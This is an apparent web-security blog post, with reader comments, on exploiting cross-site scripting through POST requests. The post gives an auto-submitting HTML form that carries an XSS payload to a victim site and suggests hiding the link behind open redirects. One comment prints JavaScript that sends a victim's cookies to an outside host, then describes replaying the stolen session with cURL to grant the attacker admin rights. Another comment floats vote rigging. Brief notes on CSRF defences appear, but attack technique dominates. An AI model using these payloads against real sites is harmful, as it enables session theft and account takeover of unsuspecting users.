Cenzic 232 Patent
Paid Advertising
web application security lab

Exploiting Cross Site Scripting Through POST

I got an interesting question from Trixzster that I think is worth posting because it shows a common misunderstanding of how vulnerable POST is to cross site scripting:

I’ve noticed that its alot harder to exploit xss through post
variables, how would you go about doing this because its not as easy
as sending someone a link with xss attached to the end.

On the surface, it may seem that way, but really it is pretty trivial. Let’s take a simple XSS example where a variable called “abcd” is vulnerable to injection:

<body onload=”xss();”>
<form method=post name=f action=”http://www.example.com/whatever.php”>
<input name=”abcd” value=”<SCRIPT>alert(’XSS’)</SCRIPT>”>
<input type=”submit” class=”button” name=”s”>
</form>
<script>
function xss() {
document.f.s.click();
}
</script>
</body>

In this example once a user views this page they will be automatically redirected to the victim website in question with the correct POST variables to run the XSS exploit. So the matter is not getting the user to click on something on the website itself, but rather any website anywhere that you control. Remember our redirects we found in Google? Well using those the user cannot tell where they are going. If they click on them they land on a page that you control and instantly get redirected to the victim where the cross site scripting vector runs. Voila!

The only relatively difficult part of this is defining which variables are vulnerable. Stopping this exploit involves stopping cross site request forgeries (CSRF) in general. Session variables can help, as can building unique variables that are only outputted once. The mitigating factors for CSRF can be difficult to master, but they are possible. In general ending CSRF could actually hurt the usability of the entire Internet at large, so I don’t think this will end any time in the near future, although I could see browser companies putting a stop to automatic click generation.

13 Responses to “Exploiting Cross Site Scripting Through POST”

  1. Jaimie Sirovich Says:

    Funny. I’ve been waiting for someone to talk about this for awhile. It does, however, render HTML-injection for SEO useless.

  2. Sid Says:

    Nice trick. I’ve always wondered how to do this. You could use this for an Auto Voter or something on a site. I found this from the RSS I syndicated on my site :\

  3. yawnmoth Says:

    A story that diggs itself discusses XSS via POST used in conjunction with CSRF, as well…

  4. WhiteAcid Says:

    Another solution I’ve implemented was that I injected code which loaded a file on my site passing parameters (including the sessions ID) via GET. I could do this for instance by loading a php file with the querystring via an image tag. That way I get the variables withou tthe user leaving the page.
    The php script on my site then will get the variables and will be able to use cURL to POST data back t the vulnerable site, using the parameters (ie session) that was given to it. This would also let you forge the referer which the above method doesn’t allow.

    Hmm… maybe I didn’t express myself all that well… Here’s a basic diagram (of sorts):
    Vuln site —sends info to me via XSS—> ME
    ME —using info posts data–> vuln site

    The user has no idea what happened.

  5. macdar Says:

    whiteacid: that’s an interesting one, but I’m not quite following you. can you please explain it in a more details? thanks!

  6. WhiteAcid Says:

    I never really manage to explain this first time round :p

    Let’s say you own vuln.com and I own whiteacid.org. You run a CMS which has an XSS flaw. So I can inject JS and make it run from your browser. Let’s also say that the CMS is open source and I therefore know that /admin/make_admin.php exists and can make any user an admin. I know that the page expects the userID to be upgraded to be posted to it, and your session ID, referer and useragent are all checked.

    OK. I would inject the following JS:
    i = document.createElement(’img’)
    i.src = “http://www.whiteacid.org/misc/curl.php?c=”+document.cookie
    i.style = “display: none;”
    document.getElementsByTagName(’body’)[0].appendChild(i)

    That will create a image tag which sends me your session ID.

    Then on my site I create /misc/curl.php
    I tell it to parse the $_GET[’c'] variable to contain only your session ID. I use $_SERVER variables to get your user agent and I set my $ref variable to “http://www.vuln.com/admin/”

    Now that php file knows your session ID, useragent and can forge a referer. It then knows where to post to, makes the post and viola. I am now an admin.

    Or of corse AJAX could be used.

    Have a read of my post here: http://blogs.securiteam.com/?p=192 I supply better code there.

  7. Stoun Says:

    in all my XSS i have used the POST method cuz all my target sanitize the GET and forget the POST!!! and isn’t so hard to exploit at all !!

  8. XSS dude Says:

    The problem with whiteacid’s attack(curl ) is that the ip address will change, so if they check the ip, youre fucked and AJAX is the way to go

  9. WhiteAcid Says:

    Yes, if they tie sessions to IPs this will fail. Then ajax is the way to go.

  10. Albert Says:

    Its not that its hard to exploit xss in the post. Its hard to come up with a viable attack vector when the site is done in completely post. Sure you can exploit the site, but allowing the user to click something thus enabling the xss vector is an entirely different story. If you have a method otherwise just lemme know :).

  11. RSnake Says:

    Hi, Albert, the most common method is to simply advertize a link to someone. The link is to anywhere you have control over. Once the user clicks on it, the click event fires and the deed is done. Sometimes it’s necessary to have user interaction after the fact so it makes for a disjointed experience, but most of the time you’re just changing someone’s password, or stealing their cookies or whatever, requiring no actual interaction save the initial browse event to the URL that you control.

    This is really more useful on webboards where URLs are common than they are on shopping sites or somewhere where there is very little user input (which would require phishing, essentially). So possible? Yes. Practical? Depends completely on the site and the user interaction with it.

  12. SEO Says:

    Interesting topic. Thats why I make a check code which is in the session, and I append it to the submits name tag.

  13. RSnake Says:

    There are pretty obvious ways around that, like using a robot that simply captures the session on the previous page and uses that in it’s post, but it probably will stop most of the tools out there that just simply blindly post, sure.